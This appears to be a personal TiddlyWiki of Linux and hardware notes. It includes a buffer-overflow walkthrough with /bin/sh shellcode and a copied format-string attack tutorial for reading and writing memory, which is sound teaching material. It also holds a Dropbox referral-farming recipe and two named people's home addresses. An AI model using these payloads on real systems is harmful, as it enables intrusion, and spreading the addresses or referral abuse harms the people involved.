-<div title="Alsa" modifier="makefu" created="201103201603" modified="201308011302" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201307151853" changecount="2">
-<pre>! asoundrc
-!! find &lt;card&gt;,&lt;device&gt;
-see aplay -l
-!! get hdmi sound working
-in /etc/asoundrc (or ~/.asoundrc )
-{{{
-pcm.!default {
- type plug
- slave {
- pcm &quot;hw:&lt;card&gt;,&lt;device&gt;&quot;
- rate 48000
- }
-}
-}}}
-!! use dmix instead of direct device
-
-{{{
-pcm.dmixer {
- type dmix
- ipc_key 1024
- ipc_key_add_uid false
- ipc_perm 0660
- slave {
- pcm &quot;hw:0,0&quot;
- rate 48000
- channels 2
- format S32_LE
- period_time 0
- period_size 1024
- buffer_time 0
- buffer_size 4096
- }
-}
-
-pcm.!default {
- type plug
- slave.pcm &quot;dmixer&quot;
-}
-}}}
-! mplayer with different device
-{{{
-mplayer -ao alsa:device=bluetooth FILE # play over bluetooth
-mplayer -ao alsa:device=hw=2.0 FILE # play over different hardware card (like usb audio)
-}}}</pre>
-</div>
-<div title="Amazon Web Service" modifier="Felix" created="201104092254" modified="201104092308" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201104092308">
-<pre>! generate credentials
-go to https://aws-portal.amazon.com/gp/aws/developer/account/index.html
-! install ec2 webservices
-{{{
-#? /bin/bash
-wget http://s3.amazonaws.com/ec2-downloads/ec2-api-tools.zip
-unzip ec2-api-tools.zip
-mv ec2-api-tools .ec2
-
-echo &quot;mv ~/Downloads/*.pem .ec2&quot;
-read &quot;you will probably need to do this&quot;
-cd .ec2
-cat &gt; change_env &lt;&lt; EOF
-export EC2_HOME=~/.ec2
-export PATH=$PATH:$EC2_HOME/bin
-export EC2_PRIVATE_KEY=`ls $EC2_HOME/pk-*.pem`
-export EC2_CERT=`ls $EC2_HOME/cert-*.pem`
-export JAVA_HOME=/opt/java/jre
-EOF
-source change_env
-ec2-describe-images -o amazon
-ec2-create-keypair bobkhan &gt;bobkhan.pem
-
-ec2-authorize default -p 22
-}}}
-! create instance
-
-{{{
-cd
-source .ec2/change_env
-ec2-run-instances ami-8c1fece5 -k bobkhan -t t1.micro
-ec2-describe-instances
-#look for the global dns name
-ssh -i bobkhan.pem ec2-user@$ec2-instance-name
-}}}
-</pre>
-</div>
-<div title="Analyze Blobs" creator="makefu" modifier="makefu" created="201309241419" modified="201309241422" changecount="3">
-<pre>! using binwalk
-!! extract filesystem
-{{{
-$ binwalk openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-sysupgrade.bin
-
-DECIMAL HEX DESCRIPTION
--------------------------------------------------------------------------------------------------------------------
-512 0x200 LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 2910740 bytes
-957612 0xE9CAC Squashfs filesystem, little endian, version 4.0, compression: size: 2356427 bytes, 653 inodes, blocksize: 262144 bytes, created: Mon Sep 23 20:26:40 2013
-$ dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-sysupgrade.bin skip=957612 bs=1 of=fs.squashfs
-$ unsquashfs fs.squashfs
-
-}}}
-!! Entropy analysis
-{{{
-binwalk -E binary
-}}}</pre>
-</div>
-<div title="Anschriften" modifier="Felix" created="201108071234" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201108071234">
-<pre>! Melissa Tiono
-!! Zuhause
-Ludwig-Roselius-Allee 89
-28329 Bremen
-
-Haltestelle: Wilhelm busch weg
-
-! Silvia Richter
-Dahmestr. 8
-Haltestelle: Joachimstr</pre>
-</div>
-<div title="Bluetooth Headset" modifier="Felix" created="201101311618" modified="201103061210" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103061210">
-<pre>!Troubleshooting
-* Rauschen
-* check with:
-{{{ arecord -D bluetooth -f S16_LE | aplay -D bluetooth -f S16_LE}}}
-* physically disconnect bluetooth and connect again
-* unpair headset
-{{{/etc/rc.d/bluetooth restart}}}
-{{{bluetooth-applet}}} # connect to bt-headset again
-//check again
-</pre>
-</div>
-<div title="Buffalo LinkStation LS-WVL" modifier="makefu" created="201305022357" modified="201305030000" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201305030000">
-<pre>! TFTP Flashing
-Problem:
-- The Error LED is blinking 6x short (No firmware found)
-
-!! Bring into Recovery Mode
-{{{
-ifconfig eth0 192.168.11.1 up
-ethtool eth0 # just to see if ethernet is working and link is up
-
-# the TFTP Boot stuff
-wget -O tftp.rar http://download.discountnetz.com/tftp-boot-recovery/TFTP%20Boot%20Recovery%201.53.rar
-unrar x tftp.rar
-cd TFTP*
-sudo in.tftpd -l -s -L $PWD
-# press the &quot;function Button&quot;, the blue Power LED is blinking
-}}}
-!! Flash The new Firmware
-{{{
-(Shell 1) dnsmasq -d --dhcp-range=192.168.11.50,192.168.11.150,12h
-(Shell 2)
-# The firmware plus updater
-wget -o ls.zip http://cdn.cloudfiles.mosso.com/c85091/ls_series-164.zip
-unzip ls.zip
-cd ls_series*
-
-sed -i 's/NoFormatting.*/NoFormatting = 0/' LSUpdater.ini
-# optionally echo 'Debug = 1' &gt;&gt; LSUpdater.ini
-
-pacman -S wine
-# Cross Fingers
-wine LSUpdater.exe
-# Yes Yes Yes, Wait for quite some time
-# LinkStation will reboot, flash red again, press function again, LinkStation will blink somewhat different -&gt; Success
-}}}
-
-!! More Tips:
-- FAQ 1: http://forums.buffalotech.com/t5/Storage/FAQ-1-of-5-EM-Mode-boot-procedures/td-p/100313
-- FAQ 2: http://forums.buffalotech.com/t5/Storage/FAQ-2-of-5-Force-Firmware-update-procedure/td-p/100317
-- FAQ 3: http://forums.buffalotech.com/t5/Storage/FAQ-3-of-5-TFTP-boot-procedure/td-p/100319
-</pre>
-</div>
-<div title="Buffer Overflows" modifier="Felix" created="201101311551" modified="201101311554" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201101311554">
-<pre>!my first BOF
-
-http://smashthestack.org/l3thal/bof.txt
-$ vuln.c
-int main(int argc, char * argv[]) {
-
-char buf[256];
-
-ie(argc == 1) {
-printf(&quot;Usage: %s input\n&quot;, argv[0]);
-exit(0);
-}
-
-strcpy(buf,argv[1]);
-printf(&quot;%s&quot;, buf);
-
-}
-./vuln `perl -e 'print &quot;\x90&quot;x244 .&quot;\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80&quot; . &quot;\xef\xbe\xad\xde&quot;'`
-## we create a nop-bridge, trying to hit &quot;deadbeef&quot; directly
-## this will be buffer+padding-shellcode(25 byte)
-## check via
-## gdb -c core.17916
-## #0 0x41414141 in ?? ()
-## (gdb) i r &lt;= info register
-## after 0 0xdeadbeef in ?? ()
-## find the nop bridge, hit in it
-## (gdb) x/10s $esp
-...
-0xbfffd8fc: '\220' &lt;repeats 200 times&gt; &lt;= nops
-...
-## just hit in the middle of it
-
-./vuln `perl -e 'print &quot;\x90&quot;x244 .&quot;\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80&quot; . &quot;\xef\xbe\xad\xde&quot;'`
-</pre>
-</div>
-<div title="Buzzwords" modifier="Felix" created="201103291128" modified="201103291230" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103291230">
-<pre>Value Proposition
-Common Baseline
-Customer Benefit
-Transformation Plan
-Integration Services
-Managed Services
-Stakeholder
-Definition and Design of Transformation Roadmap
-Key Solutions
-Customer Intimacy
-Domain Expertise
-Opportunity
-Qualification
-Contracting
-High-profile
-Budgetary Offer
-Upscope
-Outtasking
-Benchmark
-Traction</pre>
-</div>
-<div title="CSS" modifier="makefu" created="201212301801" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201212301801">
-<pre>! Quirks
-Firefox 100 percent:
- position:absolute</pre>
-</div>
-<div title="Canmore GT-730FL-S GPS-Datalogger" modifier="makefu" created="201112201958" modified="201112201959" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201112201959">
-<pre>!Dump stuff collected
-!! Skytraq + Configuration
-{{{
-svn checkout http://skytraq-datalogger.googlecode.com/svn/trunk/ skytraq-datalogger
-make
-./skytraq-datalogger --dump &gt; here.gpx
-}}}
-!! GPSBabel
-{{{
-gpsbabel -t -i skytraq -f /dev/ttyUSB0 -ogpx -F here.gpx
-}}}
-!Mapping it
-http://www.gpsvisualizer.com/map_input?form=google</pre>
-</div>
-<div title="Clonezilla" creator="makefu" modifier="makefu" created="201310011123" changecount="1">
-<pre>! Working ssh
-{{{
-# create password:
-# echo -n lolwut | mkpasswd -s
-in kernel line:
- usercrypted=&lt;created-password&gt; ocs_daemonon=ssh
-
-ssh user@ip-addr
-# get into menu
-CURRENT_TTY=/dev/tty1 /opt/drbl/sbin/ocs-live-general
-}}}</pre>
-</div>
-<div title="Contracts" modifier="makefu" created="201212301805" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201212301805">
-<pre>- http://www.pwcrack.com/penetration_contract.shtml
-- http://seclists.org/pen-test/2005/Jun/307
-- http://www.pentest-standard.org/index.php/Pre-engagement</pre>
-</div>
-<div title="DNS TUNNEL" modifier="makefu" created="201112191904" modified="201311252107" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201303121707" changecount="4">
-<pre>!Server-Side
-{{{
-useradd -r tun
-iodined -f 172.16.0.1 io.krebsco.de -u tun -P &quot;aidsballs&quot; -t /home/tun -c
-}}}
-!Client-Side
-{{{
-# -r skips direct mode (good for testing)
-sudo iodine -f -I1 io.krebsco.de
-}}}
-! Testing
-http://code.kryo.se/iodine/check-it/</pre>
-</div>
-<div title="DNSSec Amplification" modifier="Felix" created="201102130132" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201102130132">
-<pre>http://dnscurve.org/dnssecamp.html</pre>
-</div>
-<div title="Dealextreme" modifier="makefu" created="201212301759" modified="201212301759" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201212301759">
-<pre>http://dx.com
-
-! affiliate
-add : ?Utm_rid=93398939&amp;Utm_source=affiliate
-e.g: https://dx.com/p/2-0-lcd-display-electromagnetic-radiation-detector-black-1-x-6f22-170486?Utm_rid=93398939&amp;Utm_source=affiliate</pre>
-</div>
-<div title="Debian" modifier="makefu" created="201104060753" modified="201307091318" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201307091318">
-<pre>!Reconfigure packages
-{{{
-dpkg-reconfigure &lt;package-name&gt;
-}}}
-!updating rc.d on startup
-{{{
-update-rc.d
-or
-sysv-rc-conf
-}}}
-! Change Keyboard Layout:
-{{{
-dpkg-reconfigure console-setup
-}}}</pre>
-</div>
-<div title="DefaultTiddlers" modifier="makefu" created="201102011310" modified="201301042221" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201301042221">
-<pre>[[Index]]
-[[TODO]]</pre>
-</div>
-<div title="Dev Boards" modifier="Felix" created="201102012301" modified="201102130010" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201102130010">
-<pre>[[pandaboard]]
-[[beagleboard]]
-[[Minimus AVR]]</pre>
-</div>
-<div title="Dokuwiki" modifier="Felix" created="201104060754" modified="201104060755" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201104060755">
-<pre>! Installation
-Debian: http://www.dokuwiki.org/install:debian</pre>
-</div>
-<div title="Dotcloud" modifier="makefu" created="201106142021" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201106142021">
-<pre>!SSH on dotcloud
-create DSA Key
-{{{
-ssh -i ~/.ssh/here.dsa dotcloud@tinc.krebs.dotcloud.com -p 5960
-}}}</pre>
-</div>
-<div title="Dropbox" modifier="Felix" created="201104092306" modified="201104092307" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201104092307">
-<pre>! generate a new referral
-1. Generate a new account (mail not necessary
-Probably with anonbox script for mail
-2.
-{{{
-#? /bin/bash
-ec2-describe-instances
-ssh -i bobkhan ec2-user@$EC2_INSTANCE
-
-wget -O dropbox.tar.gz &quot;http://www.dropbox.com/download/?plat=lnx.x86&quot;
-tar -tzf dropbox.tar.gz
-~/.dropbox-dist/dropboxd
-# click the link
-}}}</pre>
-</div>
-<div title="Duply" modifier="makefu" created="201307011602" modified="201308081520" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201307231514" changecount="2">
-<pre>! install
-{{{
-#?/bin/sh
-# pacman -S /apt-get install / yum install duplicity gpg pwgen
-wget http://downloads.sourceforge.net/project/ftplicity/duply%20%28simple%20duplicity%29/1.5.x/duply_1.5.10.tgz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fftplicity%2F%3Fsource%3Ddlp&amp;ts=1372694343&amp;use_mirror=hivelocity -O duply.tgz
-tar xf duply.tar.gz /tmp
-mkdir ~/bin
-cp -a /tmp/duply_1.5.10/duply ~/bin
-}}}
-! configure
-{{{
-pwgen 24 # take the first
-gpg --gen-key
-# click through
-# in other shell to generate entropy
-# $ find /var/ /usr /lib /srv -type f -print0 | xargs -0 cat &gt; /dev/null
-gpg --list-secret-key
-# take the sec/[part]
-duply remote create
-cd ~/.duply/remote/
-cat &gt; conf &lt;&lt;EOF
-GPG_KEY=&quot;[part]&quot;
-GPG_PW=&quot;[the first]&quot;
-TARGET=&quot;[[see schemes]]&quot;
-SOURCE=&quot;/&quot; # full backup
-VERBOSITY=5
-MAX_FULLBKP_AGE=1m # create full backups every month
-EOF
-
-# for full backup
-cat &gt; exclude &lt;&lt;EOF
-/mnt
-/tmp
-/dev
-/sys
-/proc
-/run
-/media
-/var/
-/root/.cache/duplicity
-EOF
-
-# backup $PWD folder somewhere safe
-}}}
-! scheduling
-{{{
-echo &quot;duply remote backup&quot; &gt; /etc/cron.daily/duply-remote
-chmod +x /etc/cron.daily/duply-remote
-}}}
-! schemes
-{{{
-# file:///some_dir
-# ftp://user[:password]@other.host[:port]/some_dir
-# hsi://user[:password]@other.host/some_dir
-# cf+http://container_name
-# imap://user[:password]@host.com[/from_address_prefix]
-# imaps://user[:password]@host.com[/from_address_prefix]
-# rsync://user[:password]@other.host[:port]::/module/some_dir
-# rsync://user[:password]@other.host[:port]/relative_path
-# rsync://user[:password]@other.host[:port]//absolute_path
-# # for the s3 user/password are AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY
-# s3://[user:password]@host/bucket_name[/prefix]
-# s3+http://[user:password]@bucket_name[/prefix]
-# scp://user[:password]@other.host[:port]/some_dir
-# ssh://user[:password]@other.host[:port]/some_dir
-# tahoe://alias/directory
-# webdav://user[:password]@other.host/some_dir
-# webdavs://user[:password]@other.host/some_dir
-}}}
-
-! Get the shit out again with duplicity on another host
-{{{
-cd .duply/backup
-gpg --import &lt; gpgkey.&lt;HEX&gt;.sec.asc
-grep GPG_PW conf
-duplicity --encrypt-key=&lt;HEX&gt; --archive-dir=other-archivedir --name=darth --tempdir=other-tempdir restore --file-to-restore path/to/file/in/archive file://. path/to/restore
-}}}
-</pre>
-</div>
-<div title="Entropy" creator="makefu" modifier="makefu" created="201311261803" changecount="1">
-<pre>! generate entropy
-!! haveged
-{{{
-pacman -S haveged
-systemctl start haveged
-}}}
-!! rng-tools
-{{{
-pacman -S rng-utils
-rngd -f -r /dev/urandom
-}}}</pre>
-</div>
-<div title="Environment Variables" modifier="makefu" created="201103081055" modified="201308191259" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103081445" changecount="2">
-<pre>! Testing without Environment
-for example for cron scripts to unset all the environment variables
-{{{
-env -i /bin/sh
-}}}
-!Proxies
-in /etc/bash.bashrc
-{{{
-export http_proxy=http://.../
-export https_proxy=http://.../
-export ftp_proxy=ftp://.../
-}}}
-in /etc/apt/apt.conf.d/01proxy
-{{{
-Acquire::http::Proxy &quot;http://host:3128&quot;;
-}}}</pre>
-</div>
-<div title="Evasion" modifier="Felix" created="201101311555" modified="201101311555" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201101311555">
-<pre>Check Antivirus Vendors: http://www.virustotal.com</pre>
-</div>
-<div title="Exploits" modifier="Felix" created="201101311550" modified="201102130132" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201102130132">
-<pre>[[Buffer Overflows]]
-[[Format String Attack]]
-[[DNSSec Amplification]]</pre>
-</div>
-<div title="Fahrrad" modifier="Felix" created="201103122016" modified="201103122036" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103122036">
-<pre>* 26 zoll
-!Gangschaltung
-* Shimano
-* Diore (LX)
-!Bremsen
-* Vbrake
-!Rahmen
-* Alurahmen
-{{{
- Mountainbike Rennrad Tourenrad/Citybike Trekking-/Reiserad
-Körpergröße (cm) Rahmen (cm) Rahmen (Zoll) Rahmen (cm) Rahmen (cm) Rahmen (Zoll) Rahmen (cm)
-175-180 43-46 17-18 55-57 48-54 19-21 55-58
-180-185 46-48 18-19 57-60 54 21 58-61
-185-190 48-53 19-21 60-62 54-57 21-22 61-63
-}}}
-! Federgabe
-* </pre>
-</div>
-<div title="File Systems" creator="makefu" modifier="makefu" created="201310221736" modified="201310221737" changecount="3">
-<pre>! umount
-{{{
-fuser -amuv /path/to/mount
-kill dat-shit
-}}}
-! umount nfs
-{{{
-umount -l /path/to/nfs
-}}}</pre>
-</div>
-<div title="Format String Attack" modifier="Felix" created="201101311609" modified="201101311614" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201101311614">
-<pre>From http://www.cse.iitb.ac.in/~jagdish/mtp/attacks/formatstring.html (too bad the page is down)
-&lt;html&gt;
-&lt;table border=&quot;1&quot; align=&quot;center&quot; width=&quot;70%&quot;&gt;
- &lt;tbody&gt;&lt;tr&gt;
- &lt;td&gt; Attack Name:&lt;/td&gt;
- &lt;td&gt; &lt;b&gt;Format String &lt;Attack&lt;/b&gt; &lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt; What does the attack accomplish?&lt;/td&gt;
- &lt;td&gt;&lt;ul&gt;
- &lt;li&gt; Reading or Writing at arbitary locations in memory (including stack)&lt;/li&gt;
- &lt;li&gt; Code Execution: Inserting shellcode into stack and changing the return address (without buffer overflow)&lt;/li&gt;
- &lt;/ul&gt;
- &lt;/td&gt;
-
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt; What is the vulnerability?&lt;/td&gt;
- &lt;td&gt; Code containing &lt;pre&gt;printf(variable);&lt;/pre&gt; instead of &lt;pre&gt;printf(&quot;%s&quot;,variable);&lt;/pre&gt; where variable is affected by user input&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt; Background&lt;/td&gt;
- &lt;td&gt; The printf function in c takes variable number of arguments. The first argument is usually the &quot;format string&quot;, followed by variables referenced in the format string.&lt;br&gt;&lt;br&gt; For eg. &lt;pre&gt;printf(&quot;There are %d numbers in %s&quot;,arg1,arg2);&lt;/pre&gt; Here %d and %s are the parameter specifiers in the format string. The first specifier uses arg1 and the second uses arg2.
- &lt;br&gt;&lt;br&gt;
- During a call to printf, these arguments are passed on the stack (in the stack frame of printf). Here is the process of execution.
- &lt;ul&gt;
- &lt;li&gt;First of all, printf reads the first argument (format string).&lt;/li&gt;
- &lt;li&gt;It prints all characters execept those that start with '%'&lt;/li&gt;
- &lt;li&gt;On seeing '%' (i.e. parameter specifier), it fetches the next argument(here arg1) from the stack.&lt;/li&gt;
- &lt;li&gt;It will typecast argument according to the specifier and then print it.&lt;/li&gt;
- &lt;li&gt;This all continues till the end of the format string&lt;/li&gt;
- &lt;/ul&gt;
- &lt;br&gt;&lt;br&gt;
- Common specifiers:
- &lt;table&gt;
- &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;%d&lt;/td&gt;&lt;td&gt;Reads a demical integer&lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;&lt;td&gt;%ld&lt;/td&gt;&lt;td&gt;Reads a long demical integer&lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;&lt;td&gt;%c&lt;/td&gt;&lt;td&gt;Reads a character&lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;&lt;td&gt;%x&lt;/td&gt;&lt;td&gt;Reads a hexademical integer&lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;&lt;td&gt;%lx&lt;/td&gt;&lt;td&gt;Reads a long hexademical integer&lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;&lt;td&gt;%s&lt;/td&gt;&lt;td&gt;Reads a String&lt;/td&gt;&lt;/tr&gt;
- &lt;tr&gt;&lt;td&gt;%n&lt;/td&gt;&lt;td&gt;Writes the number of characters printed till now&lt;/td&gt;&lt;/tr&gt;
- &lt;/tbody&gt;&lt;/table&gt;
- &lt;br&gt;
- *In case of %s and %n Addresses of variable are stored in stack.
- &lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt; How does it works?&lt;/td&gt;
- &lt;td&gt;
- To understand the vulnerability, let us try this small code first.
-&lt;pre&gt;int main(){
-int i=21;
-int j=5;
-printf(&quot;%d %d %d %d %d %d %d %d %d\n&quot;);
-return 0;
-}
-
-output:
--1890278264 -1890278248 0 -2066296096 -2090799136 -1890278272 21 0 -2069764746
-&lt;/pre&gt;
-
- Even though there are no more arguments to printf, the code worked. The output may look as garbage values, but these values come from the stack. As can be noticed, value of i (21) is also in the output. To confirm it, change value of i and rerun.
-
- &lt;br&gt;&lt;br&gt;
- Also as we know &lt;pre&gt;printf(str); //works&lt;/pre&gt;
- If that 'str' is input from user, then user can enter string containing format specifiers, rather than normal string.
- This is the basis of format string attack.
-
- &lt;br&gt; So for example
- &lt;pre&gt;int main(int argc, const char * argv[]){
- char buf[160];
- strcpy(buf,argv[1]);
- printf(buf);
- exit(0);
-}
-
-Run:
-./a.out &quot;hello %d&quot;
-output:
-hello 2126824952
-
-
- &lt;/pre&gt;
-
- &lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt; Attack Details: Reading from stack &lt;/td&gt;
- &lt;td&gt;
- Reading from stack using format string is easy. We just have to use the format specifiers.
- &lt;br&gt;&lt;br&gt;For eg &lt;a name=&quot;example1&quot;&gt;&quot;example1&quot;&lt;/a&gt;
-&lt;pre&gt;int main(int argc, const char * argv[]){
-
- int i=3;
- int j=4;
- int k=5;
- int l=6;
- char buf[160];
- strcpy(buf,argv[1]);
- printf(buf);
- exit(0);
-}
-&lt;/pre&gt;
- Crafting input
- &lt;br&gt;
- 1)Using perl to get the string %08x %08x ... %08x (20 times) (here 20 is just a choice)
-
-&lt;pre&gt;./example1 &quot;`perl -e 'print &quot;%08x &quot; x 20 '`&quot;
-
-output:
-14fa05f0 14f9eaf4 00000000 fefefeff 00000000 14f9ec18 00000000 78383025 30252078 20783830 38302520 25207838 78383025
-30252078 20783830 38302520 25207838 78383025 30252078 20783830
-&lt;/pre&gt;
- See that 25 30 38 78 20 are getting repeated again and again in the end. These bytes are nothing but hexademical representation of ascii for &quot;%08 &quot;
- &lt;br&gt;
- &lt;br&gt;
- That means we are reading variable buf from stack frame.
- Variable buf starts at the 8th %08x and its size is 160bytes. So it will take 20 &quot;%08x&quot; on 64bit machine. In case of 32 bit machine, it will take 40. (See &lt;a href=&quot;http://www.cse.iitb.ac.in/~jagdish/mtp/attacks/formatstring.html#Idiosyncrasy&quot;&gt;Idiosyncrasy&lt;/a&gt; for more details)
- &lt;br&gt;
-
- So in case of a 64 bit machine, variable i will be at 28th parameter. Lets check it out.
- &lt;br&gt;&lt;br&gt;
- 2)Directly reading 28th parameter
-&lt;pre&gt;./example1 &quot;%28\$d&quot;
-
-output:
-3
-&lt;/pre&gt;
- where 3 is value of variable i. &lt;br&gt;
- As can bee seen, to directly access mth parameter use %m$d. The '\' was used to escape $ from bash shell.
- &lt;br&gt;
- Please note that on 64bit system, 29th parameter will not be j but will be k. To know why, see &lt;a href=&quot;http://www.cse.iitb.ac.in/~jagdish/mtp/attacks/formatstring.html#Idiosyncrasy&quot;&gt;Idiosyncrasy&lt;/a&gt;.
- &lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt; Attack Details: Reading from arbitary memory address&lt;/td&gt;
- &lt;td&gt;
- Remember that %s and %n works on addresses rather than values. Out of these two %s is the one that can read. So we need to place the address of the memory location on stack, and then call %s to read content of that location.
- &lt;br&gt;&lt;br&gt;Consider eg &lt;a name=&quot;example2&quot;&gt;&quot;example2&quot;&lt;/a&gt;
-&lt;pre&gt;char hiddencode[4];
-
-int main(int argc, const char * argv[]){
- strcpy(hiddencode,&quot;007&quot;);
- printf(&quot;hidden code is at %p. Find the value of hidden code.\n&quot;,&amp;amp;hiddencode);
- char buf[160];
- strcpy(buf,argv[1]);
- printf(buf);
- exit(0);
-}
-&lt;/pre&gt;
- The varible buf is on the stack. As the argument we pass will be copied in buf, we now have a way to insert the address in to the stack i.e. Placing the address in the format string itself.&lt;br&gt;
- If you run the program with any input, it will print address of variable hidden code.
-&lt;pre&gt;./example2 a
-
-output:
-hidden code is at 0x600a30. Find the value of hidden code.
-a
-&lt;/pre&gt;
- So now we know that the address to read from is 0x00600a30. For attack to work, this address should be part of the format string.We are lucky that the Null byte is at the highest order byte. We cannot have null byte in our input string (because that marks the end of that string). As i am using a little endian machine, bytes ordering is reversed. And so Highest order byte is to be inputed at last.(ie input will be 30 0a 60 00). So this should be the last 4 bytes of our format string.
-
- &lt;br&gt;Now try the following:
-&lt;pre&gt;./example2 &quot;%09\$s `printf &quot;\x30\x0a\x60&quot;`&quot;
-
-output:
-hidden code is at 0x600a30. Find the value of hidden code.
-007 0
-&lt;/pre&gt;
- As you can see, we got 007. Let us understand how.
- &lt;br&gt;
- We know that buf starts at the 8th parameter on 64bit system. So we place the address on 9th parameter and called %s for 9th parameter. If we had started by putting address on 8th parameter, then null byte would have caused trouble. Also note the use of spaces to start the address on next word(8bytes for 64bit system)
- &lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt; Attack Details: Writing at arbitary memory address &lt;/td&gt;
- &lt;td&gt;
- Here we will use %n instead of %s on the above &gt;example. To make sure we have modified the variable add a printf after printf(buf);
-&lt;pre&gt;printf(&quot;%s&quot;,hiddencode);
-&lt;/pre&gt;
- &lt;br&gt; To make the hidden code null, do this
-&lt;pre&gt;./example2 &quot;%09\$n `printf &quot;\x30\x0a\x60&quot;`&quot;
-&lt;/pre&gt;
- %n will write at 00600a30. It will write the value 0 because no character is yet printed by printf. To write other values, you must preceed %n with some text or format characters. Quick way to get 5 there, is &quot;%5c%09\$n`printf &quot;\x30\x0a\x60&quot;`&quot;. Also that address should be aligned to start from a new word(8bytes for 64bit system). Use spaces to solve this.
- &lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;Difficulties&lt;/td&gt;
- &lt;td&gt;
- &lt;ul&gt;
- &lt;li&gt; If the address that needs to be written contains Null byte, it may become impossible to write&lt;/li&gt;
- &lt;li&gt; To execute shellcode, there should be a page in memory that is both writable and executable&lt;/li&gt;
- &lt;li&gt; It is difficult to know address of a variable or a function, without debugging source code&lt;/li&gt;
- &lt;/ul&gt;
- &lt;/td&gt;
- &lt;/tr&gt;
-
- &lt;tr&gt;
- &lt;td&gt;&lt;a name=&quot;Idiosyncrasy&quot;&gt;Idiosyncrasy&lt;/a&gt;&lt;/td&gt;
- &lt;td&gt;
- There are some differences when attacking a 32bit system as compared to a 64bit system.
- &lt;ul&gt;
- &lt;li&gt;When we input multiple %08x reading of buf starts at 5th parameter in 32 bit system, whereas as seen above, it started at 8th parameter&lt;/li&gt;
- &lt;br&gt;
- &lt;li&gt;Every parameter access will fetch 4 bytes in case of 32 bit system, but it will fetch 8 bytes in 64 bit system
- &lt;/li&gt;
- &lt;br&gt;
-
- &lt;li&gt;Reconsider &lt;a href=&quot;http://www.cse.iitb.ac.in/~jagdish/mtp/attacks/formatstring.html#example1&quot;&gt;example1&lt;/a&gt;
- &lt;br&gt;
- &lt;b&gt;For a 64 bit system&lt;/b&gt;
-&lt;pre&gt;./example1 &quot;%28\$d&quot;
-&lt;/pre&gt;
- This will output value of i. 'i' is integer(4 bytes) but a parameter is 8 byte. And so there will be truncation of 4 bytes.
- &lt;br&gt;
- When you do,
-&lt;pre&gt;./example1 &quot;%29\$d&quot;
-&lt;/pre&gt;
- you will get k and not j. Reason is that value of j was fetched with that of i (then was truncated).
- &lt;br&gt;
- So what if you want to access both i and j? Instead of using %d use %lx. Because %lx will not truncate and will display you all the 64 bits.
-&lt;pre&gt;./example1 &quot;%28\$lx&quot;
-&lt;/pre&gt;
- You will get j followed by i(little endian).
-
- &lt;br&gt;&lt;br&gt;
- &lt;b&gt;For a 32 bit system&lt;/b&gt;
- &lt;br&gt;&lt;br&gt;
- buf starts at 5. As each parameter is 4byte, it will end at 44 and so i will be 45th parameter.
-&lt;pre&gt;./example1 &quot;%45\$d&quot;
-&lt;/pre&gt;
- This will give you value of i.Variable j will be next, followed by k and l.
-&lt;pre&gt;./example1 &quot;%46\$d&quot;
-&lt;/pre&gt;
- This will give you value of j. And so on.
- &lt;br&gt;
- &lt;br&gt;
-
- &lt;/li&gt;&lt;li&gt;Similarly for other attacks(read and write to memory),use %6\$n instead %9\$%n for 32 bit system (Add do watch the spaces that were used to complete 8bytes.)&lt;/li&gt;
-
-
-
-
-
-
